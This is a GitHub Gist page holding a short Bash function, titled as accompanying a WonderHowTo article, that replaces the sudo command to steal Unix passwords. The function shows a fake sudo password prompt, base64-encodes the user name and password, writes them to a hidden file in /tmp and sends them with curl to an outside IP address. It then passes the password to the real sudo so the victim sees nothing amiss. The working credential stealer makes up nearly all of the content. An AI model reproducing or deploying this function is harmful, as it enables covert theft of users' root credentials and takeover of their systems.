-
-
Save m0zgen/c503b37965edd361c5ec307eeeab65cf to your computer and use it in GitHub Desktop.
Sudo function for stealing Unix passwords; script for WonderHowTo article
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sudo () | |
{ | |
realsudo="$(which sudo)" | |
read -s -p "[sudo] password for $USER: " inputPwd | |
encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1 | |
printf "\n"; printf '%s\n' $encoded >> /tmp/.cached_$USER | |
curl -s "http://10.211.55.98/$encoded" > /dev/null 2>&1 | |
$realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1 | |
$realsudo "${@:1}" | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment